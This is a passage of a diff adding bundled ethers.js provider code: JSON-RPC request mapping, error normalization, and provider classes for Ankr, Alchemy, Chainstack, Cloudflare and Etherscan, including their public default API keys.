[getLowerCase(req.address), req.blockTag] + }; + case "getCode": + return { + method: "eth_getCode", + args: [getLowerCase(req.address), req.blockTag] + }; + case "getStorage": + return { + method: "eth_getStorageAt", + args: [ + getLowerCase(req.address), + ("0x" + req.position.toString(16)), + req.blockTag + ] + }; + case "broadcastTransaction": + return { + method: "eth_sendRawTransaction", + args: [req.signedTransaction] + }; + case "getBlock": + if ("blockTag" in req) { + return { + method: "eth_getBlockByNumber", + args: [req.blockTag, !!req.includeTransactions] + }; + } + else if ("blockHash" in req) { + return { + method: "eth_getBlockByHash", + args: [req.blockHash, !!req.includeTransactions] + }; + } + break; + case "getTransaction": + return { + method: "eth_getTransactionByHash", + args: [req.hash] + }; + case "getTransactionReceipt": + return { + method: "eth_getTransactionReceipt", + args: [req.hash] + }; + case "call": + return { + method: "eth_call", + args: [this.getRpcTransaction(req.transaction), req.blockTag] + }; + case "estimateGas": { + return { + method: "eth_estimateGas", + args: [this.getRpcTransaction(req.transaction)] + }; + } + case "getLogs": + if (req.filter && req.filter.address != null) { + if (Array.isArray(req.filter.address)) { + req.filter.address = req.filter.address.map(getLowerCase); + } + else { + req.filter.address = getLowerCase(req.filter.address); + } + } + return { method: "eth_getLogs", args: [req.filter] }; + } + return null; + } + /** + * Returns an ethers-style Error for the given JSON-RPC error + * %%payload%%, coalescing the various strings and error shapes + * that different nodes return, coercing them into a machine-readable + * standardized error. + */ + getRpcError(payload, _error) { + const { method } = payload; + const { error } = _error; + if (method === "eth_estimateGas" && error.message) { + const msg = error.message; + if (!msg.match(/revert/i) && msg.match(/insufficient funds/i)) { + return makeError("insufficient funds", "INSUFFICIENT_FUNDS", { + transaction: (payload.params[0]), + info: { payload, error } + }); + } + else if (msg.match(/nonce/i) && msg.match(/too low/i)) { + return makeError("nonce has already been used", "NONCE_EXPIRED", { + transaction: (payload.params[0]), + info: { payload, error } + }); + } + } + if (method === "eth_call" || method === "eth_estimateGas") { + const result = spelunkData(error); + const e = AbiCoder.getBuiltinCallException((method === "eth_call") ? "call" : "estimateGas", (payload.params[0]), (result ? result.data : null)); + e.info = { error, payload }; + return e; + } + // Only estimateGas and call can return arbitrary contract-defined text, so now we + // we can process text safely. + const message = JSON.stringify(spelunkMessage(error)); + if (typeof (error.message) === "string" && error.message.match(/user denied|ethers-user-denied/i)) { + const actionMap = { + eth_sign: "signMessage", + personal_sign: "signMessage", + eth_signTypedData_v4: "signTypedData", + eth_signTransaction: "signTransaction", + eth_sendTransaction: "sendTransaction", + eth_requestAccounts: "requestAccess", + wallet_requestAccounts: "requestAccess", + }; + return makeError(`user rejected action`, "ACTION_REJECTED", { + action: (actionMap[method] || "unknown"), + reason: "rejected", + info: { payload, error } + }); + } + if (method === "eth_sendRawTransaction" || method === "eth_sendTransaction") { + const transaction = (payload.params[0]); + if (message.match(/insufficient funds|base fee exceeds gas limit/i)) { + return makeError("insufficient funds for intrinsic transaction cost", "INSUFFICIENT_FUNDS", { + transaction, info: { error } + }); + } + if (message.match(/nonce/i) && message.match(/too low/i)) { + return makeError("nonce has already been used", "NONCE_EXPIRED", { transaction, info: { error } }); + } + // "replacement transaction underpriced" + if (message.match(/replacement transaction/i) && message.match(/underpriced/i)) { + return makeError("replacement fee too low", "REPLACEMENT_UNDERPRICED", { transaction, info: { error } }); + } + if (message.match(/only replay-protected/i)) { + return makeError("legacy pre-eip-155 transactions not supported", "UNSUPPORTED_OPERATION", { + operation: method, info: { transaction, info: { error } } + }); + } + } + let unsupported = !!message.match(/the method .* does not exist/i); + if (!unsupported) { + if (error && error.details && error.details.startsWith("Unauthorized method:")) { + unsupported = true; + } + } + if (unsupported) { + return makeError("unsupported operation", "UNSUPPORTED_OPERATION", { + operation: payload.method, info: { error, payload } + }); + } + return makeError("could not coalesce error", "UNKNOWN_ERROR", { error, payload }); + } + /** + * Requests the %%method%% with %%params%% via the JSON-RPC protocol + * over the underlying channel. This can be used to call methods + * on the backend that do not have a high-level API within the Provider + * API. + * + * This method queues requests according to the batch constraints + * in the options, assigns the request a unique ID. + * + * **Do NOT override** this method in sub-classes; instead + * override [[_send]] or force the options values in the + * call to the constructor to modify this method's behavior. + */ + send(method, params) { + // @TODO: cache chainId?? purge on switch_networks + // We have been destroyed; no operations are supported anymore + if (this.destroyed) { + return Promise.reject(makeError("provider destroyed; cancelled request", "UNSUPPORTED_OPERATION", { operation: method })); + } + const id = this.#nextId++; + const promise = new Promise((resolve, reject) => { + this.#payloads.push({ + resolve, reject, + payload: { method, params, id, jsonrpc: "2.0" } + }); + }); + // If there is not a pending drainTimer, set one + this.#scheduleDrain(); + return promise; + } + /** + * Resolves to the [[Signer]] account for %%address%% managed by + * the client. + * + * If the %%address%% is a number, it is used as an index in the + * the accounts from [[listAccounts]]. + * + * This can only be used on clients which manage accounts (such as + * Geth with imported account or MetaMask). + * + * Throws if the account doesn't exist. + */ + async getSigner(address) { + if (address == null) { + address = 0; + } + const accountsPromise = this.send("eth_accounts", []); + // Account index + if (typeof (address) === "number") { + const accounts = (await accountsPromise); + if (address >= accounts.length) { + throw new Error("no such account"); + } + return new JsonRpcSigner(this, accounts[address]); + } + const { accounts } = await resolveProperties({ + network: this.getNetwork(), + accounts: accountsPromise + }); + // Account address + address = getAddress(address); + for (const account of accounts) { + if (getAddress(account) === address) { + return new JsonRpcSigner(this, address); + } + } + throw new Error("invalid account"); + } + async listAccounts() { + const accounts = await this.send("eth_accounts", []); + return accounts.map((a) => new JsonRpcSigner(this, a)); + } + destroy() { + // Stop processing requests + if (this.#drainTimer) { + clearTimeout(this.#drainTimer); + this.#drainTimer = null; + } + // Cancel all pending requests + for (const { payload, reject } of this.#payloads) { + reject(makeError("provider destroyed; cancelled request", "UNSUPPORTED_OPERATION", { operation: payload.method })); + } + this.#payloads = []; + // Parent clean-up + super.destroy(); + } + } + // @TODO: remove this in v7, it is not exported because this functionality + // is exposed in the JsonRpcApiProvider by setting polling to true. It should + // be safe to remove regardless, because it isn't reachable, but just in case. + /** + * @_ignore: + */ + class JsonRpcApiPollingProvider extends JsonRpcApiProvider { + #pollingInterval; + constructor(network, options) { + super(network, options); + let pollingInterval = this._getOption("pollingInterval"); + if (pollingInterval == null) { + pollingInterval = defaultOptions.pollingInterval; + } + this.#pollingInterval = pollingInterval; + } + _getSubscriber(sub) { + const subscriber = super._getSubscriber(sub); + if (isPollable(subscriber)) { + subscriber.pollingInterval = this.#pollingInterval; + } + return subscriber; + } + /** + * The polling interval (default: 4000 ms) + */ + get pollingInterval() { return this.#pollingInterval; } + set pollingInterval(value) { + if (!Number.isInteger(value) || value < 0) { + throw new Error("invalid interval"); + } + this.#pollingInterval = value; + this._forEachSubscriber((sub) => { + if (isPollable(sub)) { + sub.pollingInterval = this.#pollingInterval; + } + }); + } + } + /** + * The JsonRpcProvider is one of the most common Providers, + * which performs all operations over HTTP (or HTTPS) requests. + * + * Events are processed by polling the backend for the current block + * number; when it advances, all block-base events are then checked + * for updates. + */ + class JsonRpcProvider extends JsonRpcApiPollingProvider { + #connect; + constructor(url, network, options) { + if (url == null) { + url = "http:/\/localhost:8545"; + } + super(network, options); + if (typeof (url) === "string") { + this.#connect = new FetchRequest(url); + } + else { + this.#connect = url.clone(); + } + } + _getConnection() { + return this.#connect.clone(); + } + async send(method, params) { + // All requests are over HTTP, so we can just start handling requests + // We do this here rather than the constructor so that we don't send any + // requests to the network (i.e. eth_chainId) until we absolutely have to. + await this._start(); + return await super.send(method, params); + } + async _send(payload) { + // Configure a POST connection for the requested method + const request = this._getConnection(); + request.body = JSON.stringify(payload); + request.setHeader("content-type", "application/json"); + const response = await request.send(); + response.assertOk(); + let resp = response.bodyJson; + if (!Array.isArray(resp)) { + resp = [resp]; + } + return resp; + } + } + function spelunkData(value) { + if (value == null) { + return null; + } + // These *are* the droids we're looking for. + if (typeof (value.message) === "string" && value.message.match(/revert/i) && isHexString(value.data)) { + return { message: value.message, data: value.data }; + } + // Spelunk further... + if (typeof (value) === "object") { + for (const key in value) { + const result = spelunkData(value[key]); + if (result) { + return result; + } + } + return null; + } + // Might be a JSON string we can further descend... + if (typeof (value) === "string") { + try { + return spelunkData(JSON.parse(value)); + } + catch (error) { } + } + return null; + } + function _spelunkMessage(value, result) { + if (value == null) { + return; + } + // These *are* the droids we're looking for. + if (typeof (value.message) === "string") { + result.push(value.message); + } + // Spelunk further... + if (typeof (value) === "object") { + for (const key in value) { + _spelunkMessage(value[key], result); + } + } + // Might be a JSON string we can further descend... + if (typeof (value) === "string") { + try { + return _spelunkMessage(JSON.parse(value), result); + } + catch (error) { } + } + } + function spelunkMessage(value) { + const result = []; + _spelunkMessage(value, result); + return result; + } + + /** + * [[link-ankr]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Goerli Testnet (``goerli``) + * - Sepolia Testnet (``sepolia``) + * - Arbitrum (``arbitrum``) + * - Base (``base``) + * - Base Goerlia Testnet (``base-goerli``) + * - Base Sepolia Testnet (``base-sepolia``) + * - BNB (``bnb``) + * - BNB Testnet (``bnbt``) + * - Optimism (``optimism``) + * - Optimism Goerli Testnet (``optimism-goerli``) + * - Optimism Sepolia Testnet (``optimism-sepolia``) + * - Polygon (``matic``) + * - Polygon Mumbai Testnet (``matic-mumbai``) + * + * @_subsection: api/providers/thirdparty:Ankr [providers-ankr] + */ + const defaultApiKey$1 = "9f7d929b018cdffb338517efa06f58359e86ff1ffd350bc889738523659e7972"; + function getHost$5(name) { + switch (name) { + case "mainnet": + return "rpc.ankr.com/eth"; + case "goerli": + return "rpc.ankr.com/eth_goerli"; + case "sepolia": + return "rpc.ankr.com/eth_sepolia"; + case "arbitrum": + return "rpc.ankr.com/arbitrum"; + case "base": + return "rpc.ankr.com/base"; + case "base-goerli": + return "rpc.ankr.com/base_goerli"; + case "base-sepolia": + return "rpc.ankr.com/base_sepolia"; + case "bnb": + return "rpc.ankr.com/bsc"; + case "bnbt": + return "rpc.ankr.com/bsc_testnet_chapel"; + case "matic": + return "rpc.ankr.com/polygon"; + case "matic-mumbai": + return "rpc.ankr.com/polygon_mumbai"; + case "optimism": + return "rpc.ankr.com/optimism"; + case "optimism-goerli": + return "rpc.ankr.com/optimism_testnet"; + case "optimism-sepolia": + return "rpc.ankr.com/optimism_sepolia"; + } + assertArgument(false, "unsupported network", "network", name); + } + /** + * The **AnkrProvider** connects to the [[link-ankr]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-ankr-signup). + */ + class AnkrProvider extends JsonRpcProvider { + /** + * The API key for the Ankr connection. + */ + apiKey; + /** + * Create a new **AnkrProvider**. + * + * By default connecting to ``mainnet`` with a highly throttled + * API key. + */ + constructor(_network, apiKey) { + if (_network == null) { + _network = "mainnet"; + } + const network = Network.from(_network); + if (apiKey == null) { + apiKey = defaultApiKey$1; + } + // Ankr does not support filterId, so we force polling + const options = { polling: true, staticNetwork: network }; + const request = AnkrProvider.getRequest(network, apiKey); + super(request, network, options); + defineProperties(this, { apiKey }); + } + _getProvider(chainId) { + try { + return new AnkrProvider(chainId, this.apiKey); + } + catch (error) { } + return super._getProvider(chainId); + } + /** + * Returns a prepared request for connecting to %%network%% with + * %%apiKey%%. + */ + static getRequest(network, apiKey) { + if (apiKey == null) { + apiKey = defaultApiKey$1; + } + const request = new FetchRequest(`https:/\/${getHost$5(network.name)}/${apiKey}`); + request.allowGzip = true; + if (apiKey === defaultApiKey$1) { + request.retryFunc = async (request, response, attempt) => { + showThrottleMessage("AnkrProvider"); + return true; + }; + } + return request; + } + getRpcError(payload, error) { + if (payload.method === "eth_sendRawTransaction") { + if (error && error.error && error.error.message === "INTERNAL_ERROR: could not replace existing tx") { + error.error.message = "replacement transaction underpriced"; + } + } + return super.getRpcError(payload, error); + } + isCommunityResource() { + return (this.apiKey === defaultApiKey$1); + } + } + + /** + * [[link-alchemy]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Goerli Testnet (``goerli``) + * - Sepolia Testnet (``sepolia``) + * - Arbitrum (``arbitrum``) + * - Arbitrum Goerli Testnet (``arbitrum-goerli``) + * - Arbitrum Sepolia Testnet (``arbitrum-sepolia``) + * - Base (``base``) + * - Base Goerlia Testnet (``base-goerli``) + * - Base Sepolia Testnet (``base-sepolia``) + * - Optimism (``optimism``) + * - Optimism Goerli Testnet (``optimism-goerli``) + * - Optimism Sepolia Testnet (``optimism-sepolia``) + * - Polygon (``matic``) + * - Polygon Amoy Testnet (``matic-amoy``) + * - Polygon Mumbai Testnet (``matic-mumbai``) + * + * @_subsection: api/providers/thirdparty:Alchemy [providers-alchemy] + */ + const defaultApiKey = "_gg7wSSi0KMBsdKnGVfHDueq6xMB9EkC"; + function getHost$4(name) { + switch (name) { + case "mainnet": + return "eth-mainnet.alchemyapi.io"; + case "goerli": + return "eth-goerli.g.alchemy.com"; + case "sepolia": + return "eth-sepolia.g.alchemy.com"; + case "arbitrum": + return "arb-mainnet.g.alchemy.com"; + case "arbitrum-goerli": + return "arb-goerli.g.alchemy.com"; + case "arbitrum-sepolia": + return "arb-sepolia.g.alchemy.com"; + case "base": + return "base-mainnet.g.alchemy.com"; + case "base-goerli": + return "base-goerli.g.alchemy.com"; + case "base-sepolia": + return "base-sepolia.g.alchemy.com"; + case "matic": + return "polygon-mainnet.g.alchemy.com"; + case "matic-amoy": + return "polygon-amoy.g.alchemy.com"; + case "matic-mumbai": + return "polygon-mumbai.g.alchemy.com"; + case "optimism": + return "opt-mainnet.g.alchemy.com"; + case "optimism-goerli": + return "opt-goerli.g.alchemy.com"; + case "optimism-sepolia": + return "opt-sepolia.g.alchemy.com"; + } + assertArgument(false, "unsupported network", "network", name); + } + /** + * The **AlchemyProvider** connects to the [[link-alchemy]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-alchemy-signup). + * + * @_docloc: api/providers/thirdparty + */ + class AlchemyProvider extends JsonRpcProvider { + apiKey; + constructor(_network, apiKey) { + if (_network == null) { + _network = "mainnet"; + } + const network = Network.from(_network); + if (apiKey == null) { + apiKey = defaultApiKey; + } + const request = AlchemyProvider.getRequest(network, apiKey); + super(request, network, { staticNetwork: network }); + defineProperties(this, { apiKey }); + } + _getProvider(chainId) { + try { + return new AlchemyProvider(chainId, this.apiKey); + } + catch (error) { } + return super._getProvider(chainId); + } + async _perform(req) { + // https://docs.alchemy.com/reference/trace-transaction + if (req.method === "getTransactionResult") { + const { trace, tx } = await resolveProperties({ + trace: this.send("trace_transaction", [req.hash]), + tx: this.getTransaction(req.hash) + }); + if (trace == null || tx == null) { + return null; + } + let data; + let error = false; + try { + data = trace[0].result.output; + error = (trace[0].error === "Reverted"); + } + catch (error) { } + if (data) { + assert(!error, "an error occurred during transaction executions", "CALL_EXCEPTION", { + action: "getTransactionResult", + data, + reason: null, + transaction: tx, + invocation: null, + revert: null // @TODO + }); + return data; + } + assert(false, "could not parse trace result", "BAD_DATA", { value: trace }); + } + return await super._perform(req); + } + isCommunityResource() { + return (this.apiKey === defaultApiKey); + } + static getRequest(network, apiKey) { + if (apiKey == null) { + apiKey = defaultApiKey; + } + const request = new FetchRequest(`https:/\/${getHost$4(network.name)}/v2/${apiKey}`); + request.allowGzip = true; + if (apiKey === defaultApiKey) { + request.retryFunc = async (request, response, attempt) => { + showThrottleMessage("alchemy"); + return true; + }; + } + return request; + } + } + + /** + * [[link-chainstack]] provides a third-party service for connecting to + * various blockchains over JSON-RPC. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Arbitrum (``arbitrum``) + * - BNB Smart Chain Mainnet (``bnb``) + * - Polygon (``matic``) + * + * @_subsection: api/providers/thirdparty:Chainstack [providers-chainstack] + */ + function getApiKey(name) { + switch (name) { + case "mainnet": return "39f1d67cedf8b7831010a665328c9197"; + case "arbitrum": return "0550c209db33c3abf4cc927e1e18cea1"; + case "bnb": return "98b5a77e531614387366f6fc5da097f8"; + case "matic": return "cd9d4d70377471aa7c142ec4a4205249"; + } + assertArgument(false, "unsupported network", "network", name); + } + function getHost$3(name) { + switch (name) { + case "mainnet": + return "ethereum-mainnet.core.chainstack.com"; + case "arbitrum": + return "arbitrum-mainnet.core.chainstack.com"; + case "bnb": + return "bsc-mainnet.core.chainstack.com"; + case "matic": + return "polygon-mainnet.core.chainstack.com"; + } + assertArgument(false, "unsupported network", "network", name); + } + /** + * The **ChainstackProvider** connects to the [[link-chainstack]] + * JSON-RPC end-points. + * + * By default, a highly-throttled API key is used, which is + * appropriate for quick prototypes and simple scripts. To + * gain access to an increased rate-limit, it is highly + * recommended to [sign up here](link-chainstack). + */ + class ChainstackProvider extends JsonRpcProvider { + /** + * The API key for the Chainstack connection. + */ + apiKey; + /** + * Creates a new **ChainstackProvider**. + */ + constructor(_network, apiKey) { + if (_network == null) { + _network = "mainnet"; + } + const network = Network.from(_network); + if (apiKey == null) { + apiKey = getApiKey(network.name); + } + const request = ChainstackProvider.getRequest(network, apiKey); + super(request, network, { staticNetwork: network }); + defineProperties(this, { apiKey }); + } + _getProvider(chainId) { + try { + return new ChainstackProvider(chainId, this.apiKey); + } + catch (error) { } + return super._getProvider(chainId); + } + isCommunityResource() { + return (this.apiKey === getApiKey(this._network.name)); + } + /** + * Returns a prepared request for connecting to %%network%% + * with %%apiKey%% and %%projectSecret%%. + */ + static getRequest(network, apiKey) { + if (apiKey == null) { + apiKey = getApiKey(network.name); + } + const request = new FetchRequest(`https:/\/${getHost$3(network.name)}/${apiKey}`); + request.allowGzip = true; + if (apiKey === getApiKey(network.name)) { + request.retryFunc = async (request, response, attempt) => { + showThrottleMessage("ChainstackProvider"); + return true; + }; + } + return request; + } + } + + /** + * About Cloudflare + * + * @_subsection: api/providers/thirdparty:Cloudflare [providers-cloudflare] + */ + /** + * About Cloudflare... + */ + class CloudflareProvider extends JsonRpcProvider { + constructor(_network) { + if (_network == null) { + _network = "mainnet"; + } + const network = Network.from(_network); + assertArgument(network.name === "mainnet", "unsupported network", "network", _network); + super("https:/\/cloudflare-eth.com/", network, { staticNetwork: network }); + } + } + + /** + * [[link-etherscan]] provides a third-party service for connecting to + * various blockchains over a combination of JSON-RPC and custom API + * endpoints. + * + * **Supported Networks** + * + * - Ethereum Mainnet (``mainnet``) + * - Goerli Testnet (``goerli``) + * - Sepolia Testnet (``sepolia``) + * - Holesky Testnet (``holesky``) + * - Arbitrum (``arbitrum``) + * - Arbitrum Goerli Testnet (``arbitrum-goerli``) + * - Base (``base``) + * - Base Sepolia Testnet (``base-sepolia``) + * - BNB Smart Chain Mainnet (``bnb``) + * - BNB Smart Chain Testnet (``bnbt``) + * - Optimism (``optimism``) + * - Optimism Goerli Testnet (``optimism-goerli``) + * - Polygon (``matic``) + * - Polygon Mumbai Testnet (``matic-mumbai``) + * - Polygon Amoy Testnet (``matic-amoy``) + * + * @_subsection api/providers/thirdparty:Etherscan [providers-etherscan] + */ + const THROTTLE = 2000; + function isPromise(value) { + return (value && typeof (value.then) === "function"); + } + const EtherscanPluginId = "org.ethers.plugins.provider.Etherscan"; + /** + * A Network can include an **EtherscanPlugin** to provide + * a custom base URL. + * + * @_docloc: api/providers/thirdparty:Etherscan + */ + class EtherscanPlugin extends NetworkPlugin { + /** + * The Etherscan API base URL. + */ + baseUrl; + /** + * Creates a new **EtherscanProvider** which will use + * %%baseUrl%%. + */ + constructor(baseUrl) { + super(EtherscanPluginId); + defineProperties(this, { baseUrl }); + } + clone() { + return new EtherscanPlugin(this.baseUrl); + } + } + const skipKeys = ["enableCcipRead"]; + let nextId = 1; + /** + * The **EtherscanBaseProvider** is the super-class of + * [[EtherscanProvider]], which should generally be used instead. + * + * Since the **EtherscanProvider** includes additional code for + * [[Contract]] access, in //rare cases// that contracts are not + * used, this class can reduce code size. + * + * @_docloc: api/providers/thirdparty:Etherscan + */ + class EtherscanProvider extends AbstractProvider { + /** + * The connected network. + */ + network; + /** + * The API key or null if using the community provided bandwidth. + */ + apiKey; + #plugin; + /** + * Creates a new **EtherscanBaseProvider**. + */ + constructor(_network, _apiKey) { + const apiKey = (_apiKey != null) ? _apiKey : null; + super(); + const network = Network.from(_network); + this.#plugin = network.getPlugin(EtherscanPluginId); + defineProperties(this, { apiKey, network }); + } + /** + * Returns the base URL. + * + * If an [[EtherscanPlugin]] is configured on the + * [[EtherscanBaseProvider_network]], returns the plugin's + * baseUrl. + * + * Deprecated; for Etherscan v2 the base is no longer a simply + * host, but instead a URL including a chainId parameter. Changing + * this to return a URL prefix could break some libraries, so it + * is left intact but will be removed in the future as it is unused. + */ + getBaseUrl() { + if (this.#plugin) { + return this.#plugin.baseUrl; + } + switch (this.network.name) { + case "mainnet": + return "https:/\/api.etherscan.io"; + case "goerli": + return "https:/\/api-goerli.etherscan.io"; + case "sepolia": + return "https:/\/api-sepolia.etherscan.io"; + case "holesky": + return "https:/\/api-holesky.etherscan.io"; + case "arbitrum": + return "https:/\/api.arbiscan.io"; + case "arbitrum-goerli": + return "https:/\/api-goerli.arbiscan.io"; + case "base": + return "https:/\/api.basescan.org"; + case "base-sepolia": + return "https:/\/api-sepolia.basescan.org"; + case "bnb": + return "https:/\/api.bscscan.com"; + case "bnbt": + return "https:/\/api-testnet.bscscan.com"; + case "matic": + return "https:/\/api.polygonscan.com"; + case "matic-amoy": + return "https:/\/api-amoy.polygonscan.com"; + case "matic-mumbai": + return "https:/\/api-testnet.polygonscan.com"; + case "optimism": + return "https:/\/api-optimistic.etherscan.io"; + case "optimism-goerli": + return "https:/\/api-goerli-optimistic.etherscan.io"; + } + assertArgument(false, "unsupported network", "network", this.network); + } + /** + * Returns the URL for the %%module%% and %%params%%. + */ + getUrl(module, params) { + let query = Object.keys(params).reduce((accum, key) => { + const value = params[key]; + if (value != null) { + accum += `&${key}=${value}`; + } + return accum; + }, ""); + if (this.apiKey) { + query += `&apikey=${this.apiKey}`; + } + return `https:/\/api.etherscan.io/v2/api?chainid=${this.network.chainId}&module=${module}${query}`; + } + /** + * Returns the URL for using POST requests. + */ + getPostUrl() { + return `https:/\/api.etherscan.io/v2/api?chainid=${this.network.chainId}`; + } + /** + * Returns the parameters for using POST requests. + */ + getPostData(module, params) { + params.module = module; + params.apikey = this.apiKey; + params.chainid = this.network.chainId; + return params; + } + async detectNetwork() { + return this.network; + } + /** + * Resolves to the result of calling %%module%% with %%params%%. + * + * If %%post%%, the request is made as a POST request. + */ + async fetch(module, params, post) { + const id = nextId++; + const url = (post ? this.getPostUrl() : this.getUrl(module, params)); + const payload = (post ? this.getPostData(module, params) : null); + this.emit("debug", { action: "sendRequest", id, url, payload: payload }); + const request = new FetchRequest(url); + request.setThrottleParams({ slotInterval: 1000 }); + request.retryFunc = (req, resp, attempt) => { + if (this.isCommunityResource()) { + showThrottleMessage("Etherscan"); + } + return Promise.resolve(true); + }; + request.processFunc = async (request, response) => { + const result = response.hasBody() ? JSON.parse(toUtf8String(response.body)) : {}; + const throttle = ((typeof (result.result) === "string") ? result.result : "").toLowerCase().indexOf("rate limit") >= 0; + if (module === "proxy") { + // This JSON response indicates we are being throttled + if (result && result.status == 0 && result.message == "NOTOK" && throttle) { + this.emit("debug", { action: "receiveError", id, reason: "proxy-NOTOK", error: result }); + response.throwThrottleError(result.result, THROTTLE); + } + } + else { + if (throttle) { + this.emit("debug", { action: "receiveError", id, reason: "null result", error: result.result }); + response.throwThrottleError(result.result, THROTTLE); + } + } + return response; + }; + if (payload) { + request.setHeader("content-type", "application/x-www-form-urlencoded; charset=UTF-8"); + request.body = Object.keys(payload).map((k) => `${k}=${payload[k]}`).join("&"); + } + const response = await request.send(); + try { + response.assertOk(); + } + catch (error) { + this.emit("debug", { action: "receiveError", id, error, reason: "assertOk" }); + assert(false, "response error", "SERVER_ERROR", { request, response }); + } + if (!response.hasBody()) { + this.emit("debug", { action: "receiveError", id, error: "missing body", reason: "null body" }); + assert(false, "missing response", "SERVER_ERROR", { request, response }); + } + const result = JSON.parse(toUtf8String(response.body)); + if (module === "proxy") { + if (result.jsonrpc != "2.0") { + this.emit("debug", { action: "receiveError", id, result, reason: "invalid JSON-RPC" }); + assert(false, "invalid JSON-RPC response (missing jsonrpc='2.0')", "SERVER_ERROR", { request, response, info: { result } }); + } + if (result.error) { + this.emit("debug", { action: "receiveError", id, result, reason: "JSON-RPC error" }); + assert(false, "error response", "SERVER_ERROR", { request, response, info: { result } }); + } + this.emit("debug", { action: "receiveRequest", id, result }); + return result.result; + } + else { + // getLogs, getHistory have weird success responses + if (result.status == 0 && (result.message === "No records found" || result.message === "No transactions found")) { + this.emit("debug", { action: "receiveRequest", id, result }); + return result.result; + } + if (result.status != 1 || (typeof (result.message) === "string" && !result.message.match(/^OK/))) { + this.emit("debug", { action: "receiveError", id, result }); + assert(false, "error response", "SERVER_ERROR", { request, response, info: { result } }); + } + this.emit("debug", { action: "receiveRequest", id, result }); + return result.result; + } + } + /** + * Returns %%transaction%% normalized for the Etherscan API. + */ + _getTransactionPostData(transaction) { + const result = {}; + for (let key in transaction) { + if (skipKeys.indexOf(key) >= 0) { + continue; + } + if (transaction[key] == null) { + continue; + } + let value = transaction[key]; + if (key === "type" && value === 0) { + continue; + } + if (key === "blockTag" && value === "latest") { + continue; + } + // Quantity-types require no leading zero, unless 0 + if ({ type: true, gasLimit: true, gasPrice: true, maxFeePerGs: true, maxPriorityFeePerGas: true, nonce: true, value: true }[key]) { + value = toQuantity(value); + } + else if (key === "accessList") { + value = "[" + accessListify(value).map((set) => { + return `{address:"${set.address}",storageKeys:["${set.storageKeys.join('","')}"]}`; + }).join(",") + "]"; + } + else if (key === "blobVersionedHashes") { + if (value.length === 0) { + continue; + } + // @TODO: update this once the API supports blobs + assert(false, "Etherscan API does not support blobVersionedHashes", "UNSUPPORTED_OPERATION", { + operation: "_getTransactionPostData", + info: { transaction } + }); + } + else { + value = hexlify(value); + } + result[key] = value; + } + return result; + } + /** + * Throws the normalized Etherscan error. + */ + _checkError(req, error, transaction) { + // Pull any message out if, possible + let message = ""; + if (isError(error, "SERVER_ERROR")) { + // Check for an error emitted by a proxy call + try { + message = error.info.result.error.message; + } + catch (e) { } + if (!message) { + try { + message = error.info.message; + } + catch (e) { } + } + } + if (req.method === "estimateGas") { + if (!message.match(/revert/i) && message.match(/insufficient funds/i)) { + assert(false, "insufficient funds", "INSUFFICIENT_FUNDS", { + transaction: req.transaction + }); + } + } + if (req.method === "call" || req.method === "estimateGas") { + if (message.match(/execution reverted/i)) { + let data = ""; + try { + data = error.info.result.error.data; + } + catch (error) { } + const e = AbiCoder.getBuiltinCallException(req.method, req.transaction, data); + e.info = { request: req, error }; + throw e; + } + } + if (message) { + if (req.method === "broadcastTransaction") { + const transaction = Transaction.from(req.signedTransaction); + if (message.match(/replacement/i) && message.match(/underpriced/i)) { + assert(false, "replacement fee too low", "REPLACEMENT_UNDERPRICED", { + transaction + }); + } + if (message.match(/insufficient funds/)) { + assert(false, "insufficient funds for intrinsic transaction cost", "INSUFFICIENT_FUNDS", { + transaction + }); + } + if (message.match(/same hash was already imported|transaction nonce is too low|nonce too low/)) { + assert(false, "nonce has already been used", "NONCE_EXPIRED", { + transaction + }); + } + } + } + // Something we could not process + throw error; + } + async _detectNetwork() { + return this.network; + } + async _perform(req) { + switch (req.method) { + case "chainId": + return this.network.chainId; + case "getBlockNumber": + return this.fetch("proxy", { action: "eth_blockNumber" }); + case "getGasPrice": + return this.fetch("proxy", { action: "eth_gasPrice" }); + case "getPriorityFee": + // This is temporary until Etherscan completes support + if (this.network.name === "mainnet") { + return "1000000000"; + } + else if (this.network.name === "optimism") { + return "1000000"; + } + else { + throw new Error("fallback onto the AbstractProvider default"); + } + /* Working with Etherscan to get this added: + try { + const test = await this.fetch("proxy", { + action: "eth_maxPriorityFeePerGas" + }); + console.log(test); + return test; + } catch (e) { + console.log("DEBUG", e); + throw e; + } + */ + /* This might be safe; but due to rounding neither myself + or Etherscan are necessarily comfortable with this. :) + try { + const result = await this.fetch("gastracker", { action: "gasoracle" }); + console.log(result); + const gasPrice = parseUnits(result.SafeGasPrice, "gwei"); + const baseFee = parseUnits(result.suggestBaseFee, "gwei"); + const priorityFee = gasPrice - baseFee; + if (priorityFee < 0) { throw new Error("negative priority fee; defer to abstract provider default"); } + return priorityFee; + } catch (error) { + console.log("DEBUG", error); + throw error; + } + */ + case "getBalance": + // Returns base-10 result + return this.fetch("account", { + action: "balance", + address: req.address, + tag: req.blockTag + }); + case "getTransactionCount": + return this.fetch("proxy", { + action: "eth_getTransactionCount", + address: req.address, + tag: req.blockTag + }); + case "getCode": + return this.fetch("proxy", { + action: "eth_getCode", + address: req.address, + tag: req.blockTag + }); + case "getStorage": + return this.fetch("proxy", { + action: "eth_getStorageAt", + address: req.address, + position: req.position, + tag: req.blockTag + }); + case "broadcastTransaction": + return this.fetch("proxy", { + action: "eth_sendRawTransaction", + hex: req.signedTransaction + }, true).catch((error) => { + return this._checkError(req, error, req.signedTransaction); + }); + case "getBlock": + if ("blockTag" in req) { + return this.fetch("proxy", { + action: "eth_getBlockByNumber", + tag: req.blockTag, + boolean: (req.includeTransactions ? "true" : "false") + }); + } + assert(false, "getBlock by blockHash not supported by Etherscan", "UNSUPPORTED_OPERATION", { + operation: "getBlock(blockHash)" + }); + case "getTransaction": + return this.fetch("proxy", { + action: "eth_getTransactionByHash", + txhash: req.hash + }); + case "getTransactionReceipt": + return this.fetch("proxy", { + action: "eth_getTransactionReceipt", + txhash: req.hash + }); + case 